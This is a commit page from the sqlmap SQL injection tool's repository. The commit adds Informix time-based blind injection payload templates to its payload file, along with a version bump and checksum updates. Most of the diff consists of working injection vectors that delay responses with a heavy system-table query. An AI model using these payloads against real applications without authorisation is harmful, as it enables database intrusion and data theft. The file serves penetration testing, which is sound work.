Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit d36b5c0

Browse files
stamparmstamparm
committed
Adding time-based blind (heavy query) payloads for Informix (Issue #552)
1 parent e5a758b commit d36b5c0

3 files changed

Lines changed: 103 additions & 6 deletions

File tree

‎lib/core/settings.py‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@
1919
from lib.core.revision import getRevisionNumber
2020

2121
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
22-
VERSION = "1.0.9.45"
22+
VERSION = "1.0.9.46"
2323
REVISION = getRevisionNumber()
2424
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2525
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}

‎txt/checksum.md5‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,7 @@ e60456db5380840a586654344003d4e6 lib/core/readlineng.py
4545
5ef56abb8671c2ca6ceecb208258e360 lib/core/replication.py
4646
99a2b496b9d5b546b335653ca801153f lib/core/revision.py
4747
7c15dd2777af4dac2c89cab6df17462e lib/core/session.py
48-
5cd9c085558c79b12f5757611a76eb36 lib/core/settings.py
48+
3f2deb69d28171ca0c00708ce0255ee8 lib/core/settings.py
4949
7af83e4f18cab6dff5e67840eb65be80 lib/core/shell.py
5050
23657cd7d924e3c6d225719865855827 lib/core/subprocessng.py
5151
0bc2fae1dec18cdd11954b22358293f2 lib/core/target.py
@@ -453,6 +453,6 @@ a279656ea3fcb85c727249b02f828383 xml/livetests.xml
453453
103a4c9b12c582b24a3fac8147a9c8d4 xml/payloads/error_based.xml
454454
06b1a210b190d52477a9d492443725b5 xml/payloads/inline_query.xml
455455
96adb9bfbab867d221974d3ddb303cb6 xml/payloads/stacked_queries.xml
456-
c8b152ecebf04ec997e52c6c78cbd488 xml/payloads/time_blind.xml
456+
9abc699fadede1e31586c2263ca900a4 xml/payloads/time_blind.xml
457457
033b39025e8ee0f302935f6db3a39e77 xml/payloads/union_query.xml
458458
1587a02322a96ac48973e782d6fedf73 xml/queries.xml

‎xml/payloads/time_blind.xml‎

Lines changed: 100 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1337,7 +1337,85 @@
13371337
<dbms_version>&gt; 2.0</dbms_version>
13381338
</details>
13391339
</test>
1340-
<!-- TODO: if possible, add payload for Microsoft Access -->
1340+
1341+
<test>
1342+
<title>Informix AND time-based blind (heavy query)</title>
1343+
<stype>5</stype>
1344+
<level>2</level>
1345+
<risk>2</risk>
1346+
<clause>1,2,3,9</clause>
1347+
<where>1</where>
1348+
<vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)</vector>
1349+
<request>
1350+
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)</payload>
1351+
</request>
1352+
<response>
1353+
<time>[DELAYED]</time>
1354+
</response>
1355+
<details>
1356+
<dbms>Informix</dbms>
1357+
</details>
1358+
</test>
1359+
1360+
<test>
1361+
<title>Informix OR time-based blind (heavy query)</title>
1362+
<stype>5</stype>
1363+
<level>2</level>
1364+
<risk>3</risk>
1365+
<clause>1,2,3,9</clause>
1366+
<where>1</where>
1367+
<vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)</vector>
1368+
<request>
1369+
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)</payload>
1370+
</request>
1371+
<response>
1372+
<time>[DELAYED]</time>
1373+
</response>
1374+
<details>
1375+
<dbms>Informix</dbms>
1376+
</details>
1377+
</test>
1378+
1379+
<test>
1380+
<title>Informix AND time-based blind (heavy query - comment)</title>
1381+
<stype>5</stype>
1382+
<level>5</level>
1383+
<risk>2</risk>
1384+
<clause>1,2,3,9</clause>
1385+
<where>1</where>
1386+
<vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)</vector>
1387+
<request>
1388+
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)</payload>
1389+
<comment>--</comment>
1390+
</request>
1391+
<response>
1392+
<time>[DELAYED]</time>
1393+
</response>
1394+
<details>
1395+
<dbms>Informix</dbms>
1396+
</details>
1397+
</test>
1398+
1399+
<test>
1400+
<title>Informix OR time-based blind (heavy query - comment)</title>
1401+
<stype>5</stype>
1402+
<level>5</level>
1403+
<risk>3</risk>
1404+
<clause>1,2,3,9</clause>
1405+
<where>1</where>
1406+
<vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)</vector>
1407+
<request>
1408+
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)</payload>
1409+
<comment>--</comment>
1410+
</request>
1411+
<response>
1412+
<time>[DELAYED]</time>
1413+
</response>
1414+
<details>
1415+
<dbms>Informix</dbms>
1416+
</details>
1417+
</test>
1418+
13411419
<!-- End of time-based boolean tests -->
13421420

13431421
<!-- Time-based boolean tests - Numerous clauses -->
@@ -1697,7 +1775,7 @@
16971775
<dbms>IBM DB2</dbms>
16981776
</details>
16991777
</test>
1700-
1778+
17011779
<!-- Untested -->
17021780
<test>
17031781
<title>HSQLDB &gt;= 1.7.2 time-based blind - Parameter replace (heavy query)</title>
@@ -1738,6 +1816,25 @@
17381816
<dbms_version>&gt; 2.0</dbms_version>
17391817
</details>
17401818
</test>
1819+
1820+
<test>
1821+
<title>Informix time-based blind - Parameter replace (heavy query)</title>
1822+
<stype>5</stype>
1823+
<level>4</level>
1824+
<risk>2</risk>
1825+
<clause>1,2,3,9</clause>
1826+
<where>3</where>
1827+
<vector>(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)</vector>
1828+
<request>
1829+
<payload>(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)</payload>
1830+
</request>
1831+
<response>
1832+
<time>[DELAYED]</time>
1833+
</response>
1834+
<details>
1835+
<dbms>Informix</dbms>
1836+
</details>
1837+
</test>
17411838
<!-- End of time-based boolean tests - Parameter replace -->
17421839

17431840
<!-- Time-based boolean tests - ORDER BY, GROUP BY clause -->
@@ -1938,6 +2035,6 @@
19382035
<dbms_version>&gt; 2.0</dbms_version>
19392036
</details>
19402037
</test>
1941-
<!-- TODO: if possible, add payload for Microsoft Access -->
2038+
19422039
<!-- End of time-based boolean tests - ORDER BY, GROUP BY clause -->
19432040
</root>

0 commit comments

Comments
 (0)